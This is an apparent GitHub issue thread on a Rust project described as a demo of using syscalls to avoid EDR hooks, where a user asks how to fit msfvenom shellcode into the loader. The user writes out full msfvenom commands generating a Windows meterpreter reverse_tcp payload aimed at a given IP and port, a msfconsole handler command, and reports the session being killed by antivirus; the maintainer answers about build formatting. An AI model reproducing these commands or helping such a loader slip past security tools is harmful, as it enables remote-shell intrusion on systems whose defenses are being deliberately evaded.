Chalkybot / Syscall-Winapi-Rust

A demo of how to utilize syscalls in Rust to avoid EDR hooks.
4 stars 1 forks source link

why i need cast an [u8] array in const DATA #2

Closed sec13b closed 1 month ago

sec13b commented 1 month ago

why i need cast an [u8] array in const DATA

const DATA: [u8; 511] = [0x0,0x0,0x0,0x0,0x0,................,0x0,0x0];

the msfvenom csharp buf byte is [510]

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=91.203.213.117 LPORT=11011 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of csharp file: 2623 bytes
byte[] buf = new byte[510] {0xfc,..................0x0];

or to use simple :

const DATA: [510] = [0x0,0x0,0x0,0x0,0x0,................,0x0,0x0];

Chalkybot commented 1 month ago

The length doesn't matter. The payload data is just handled during the build process. You are again, using the wrong format. This is a rust project, not a csharp one. I will close further issues regarding the build process unless they are valid issues with the source code.

sec13b commented 1 week ago

i see with rust is :

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the p
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of rust file: 2616 bytes
let buf: [u8; 510] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,

in build.rs const DATA: [u8; 511] at me msf give [u8; 510], matter?

 msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 192.168.213.117;set LPORT 4444;run;"
[*] Started reverse TCP handler on 192.168.213.117:4444
[*] Sending stage (176198 bytes) to 10.10.10.147
[*] 10.10.10.147 - Meterpreter session 1 closed.  Reason: Died
[-] Meterpreter session 1 is not valid and will be closed.

die at windows av